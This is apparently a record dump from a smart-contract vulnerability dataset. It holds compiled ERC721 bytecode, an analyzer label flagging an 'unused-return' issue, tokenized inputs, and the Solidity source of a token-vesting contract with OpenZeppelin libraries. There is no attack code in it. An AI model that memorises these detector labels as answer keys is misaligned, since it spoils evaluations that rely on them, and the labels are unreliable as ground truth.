fb565b9150819050919050565b6000602082019050613cdc6000830184613626565b92915050565b6000608082019050613cf76000830187613626565b613d046020830186613626565b613d116040830185613b87565b8181036060830152613d238184613681565b905095945050505050565b6000602082019050613d43600083018461364c565b92915050565b6000602082019050613d5e600083018461365b565b92915050565b6000606082019050613d79600083018661365b565b613d86602083018561365b565b613d936040830184613bad565b949350505050565b6000608082019050613db0600083018761365b565b613dbd6020830186613bad565b613dca604083018561365b565b613dd7606083018461365b565b95945050505050565b60006020820190508181036000830152613dfa8184613710565b905092915050565b60006020820190508181036000830152613e1b816137f9565b9050919050565b60006020820190508181036000830152613e3b8161381c565b9050919050565b60006020820190508181036000830152613e5b8161383f565b9050919050565b60006020820190508181036000830152613e7b81613862565b9050919050565b60006020820190508181036000830152613e9b81613885565b9050919050565b60006020820190508181036000830152613ebb816138a8565b9050919050565b60006020820190508181036000830152613edb816138cb565b9050919050565b60006020820190508181036000830152613efb816138ee565b9050919050565b60006020820190508181036000830152613f1b81613911565b9050919050565b60006020820190508181036000830152613f3b81613934565b9050919050565b60006020820190508181036000830152613f5b81613957565b9050919050565b60006020820190508181036000830152613f7b8161397a565b9050919050565b60006020820190508181036000830152613f9b8161399d565b9050919050565b60006020820190508181036000830152613fbb816139c0565b9050919050565b60006020820190508181036000830152613fdb816139e3565b9050919050565b60006020820190508181036000830152613ffb81613a06565b9050919050565b6000602082019050818103600083015261401b81613a29565b9050919050565b6000602082019050818103600083015261403b81613a4c565b9050919050565b6000602082019050818103600083015261405b81613a6f565b9050919050565b6000602082019050818103600083015261407b81613a92565b9050919050565b6000602082019050818103600083015261409b81613ab5565b9050919050565b600060208201905081810360008301526140bb81613ad8565b9050919050565b600060208201905081810360008301526140db81613b1e565b9050919050565b600060208201905081810360008301526140fb81613b41565b9050919050565b6000602082019050818103600083015261411b81613b64565b9050919050565b60006020820190506141376000830184613b87565b92915050565b6000808335600160200384360303811261415657600080fd5b80840192508235915067ffffffffffffffff82111561417457600080fd5b60208301925060208202360383131561418c57600080fd5b509250929050565b600080833560016020038436030381126141ad57600080fd5b80840192508235915067ffffffffffffffff8211156141cb57600080fd5b6020830192506020820236038313156141e357600080fd5b509250929050565b6000808335600160200384360303811261420457600080fd5b80840192508235915067ffffffffffffffff82111561422257600080fd5b60208301925060018202360383131561423a57600080fd5b509250929050565b6000808335600160200384360303811261425b57600080fd5b80840192508235915067ffffffffffffffff82111561427957600080fd5b60208301925060018202360383131561429157600080fd5b509250929050565b60006142a36142b4565b90506142af8282614543565b919050565b6000604051905090565b600067ffffffffffffffff8211156142d9576142d8614653565b5b6142e282614682565b9050602081019050919050565b600067ffffffffffffffff82111561430a57614309614653565b5b61431382614682565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061438e826144b8565b9150614399836144b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143ce576143cd6145f5565b5b828201905092915050565b60006143e4826144c2565b91506143ef836144c2565b92508260ff03821115614405576144046145f5565b5b828201905092915050565b600061441b826144b8565b9150614426836144b8565b925082821015614439576144386145f5565b5b828203905092915050565b600061444f82614498565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156144fc5780820151818401526020810190506144e1565b8381111561450b576000848401525b50505050565b6000600282049050600182168061452957607f821691505b6020821081141561453d5761453c614624565b5b50919050565b61454c82614682565b810181811067ffffffffffffffff8211171561456b5761456a614653565b5b80604052505050565b600061457f826144b8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145b2576145b16145f5565b5b600182019050919050565b60006145c8826145d9565b9050919050565b6000819050919050565b60006145e482614693565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f546f6b656e696420646f6573206e6f7420657869737400000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4d6f6469667920636865636b2068617320616c7265616479206265656e20757360008201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f746f6b656e496473206d69736d61746368207769746820757269730000000000600082015250565b7f4d696e7420636865636b2068617320616c7265616479206265656e2075736564600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4d6f6469667920636865636b206973206e6f742076616c696400000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206d696e7465720000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4d696e7420636865636b206973206e6f742076616c6964000000000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f696e76616c6964207369676e6174757265206c656e6774680000000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e2055524900000000000000000000000000602082015250565b614cc181614444565b8114614ccc57600080fd5b50565b614cd881614456565b8114614ce357600080fd5b50565b614cef81614462565b8114614cfa57600080fd5b50565b614d068161446c565b8114614d1157600080fd5b50565b614d1d816144b8565b8114614d2857600080fd5b50565b614d34816144c2565b8114614d3f57600080fd5b5056fea264697066735822122084ddb37cee55ec539996748f82c5d046fa32c1af20552a4d325569e42e667f7964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 7959, 28311, 17134, 2549, 2094, 2487, 2497, 2487, 2497, 29097, 2620, 2094, 2575, 2475, 16665, 20952, 2546, 2487, 2094, 2475, 2278, 2546, 2575, 2581, 2063, 2475, 2497, 2620, 3401, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 21183, 12146, 1013, 8085, 1012, 14017, 1000, 1025, 3206, 2414, 8022, 2003, 2219, 3085, 1010, 9413, 2278, 2581, 17465, 1010, 8085, 1063, 4769, 2270, 12927, 28234, 14317, 10050, 3723, 1025, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,649
0x972015d578ECB8Bb05ff500957Fbf5b16Ab9412A
// SPDX-License-Identifier: MIT pragma solidity 0.6.6; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; //borrowed from https://github.com/DeversiFi/ethereum-vesting/blob/master/contracts/TokenVesting.sol /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract DevVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokenVestingRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _cliff; uint256 private _start; uint256 private _duration; bool private _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration"); require(duration > 0, "TokenVesting: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting: cannot revoke"); require(!_revoked[address(token)], "TokenVesting: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.safeTransfer(owner(), refund); emit TokenVestingRevoked(address(token)); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } function changeBeneficiaryWallet(address _newBeneficiary) external onlyOwner { // on the fly require(_newBeneficiary != address(0)); _beneficiary = _newBeneficiary; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
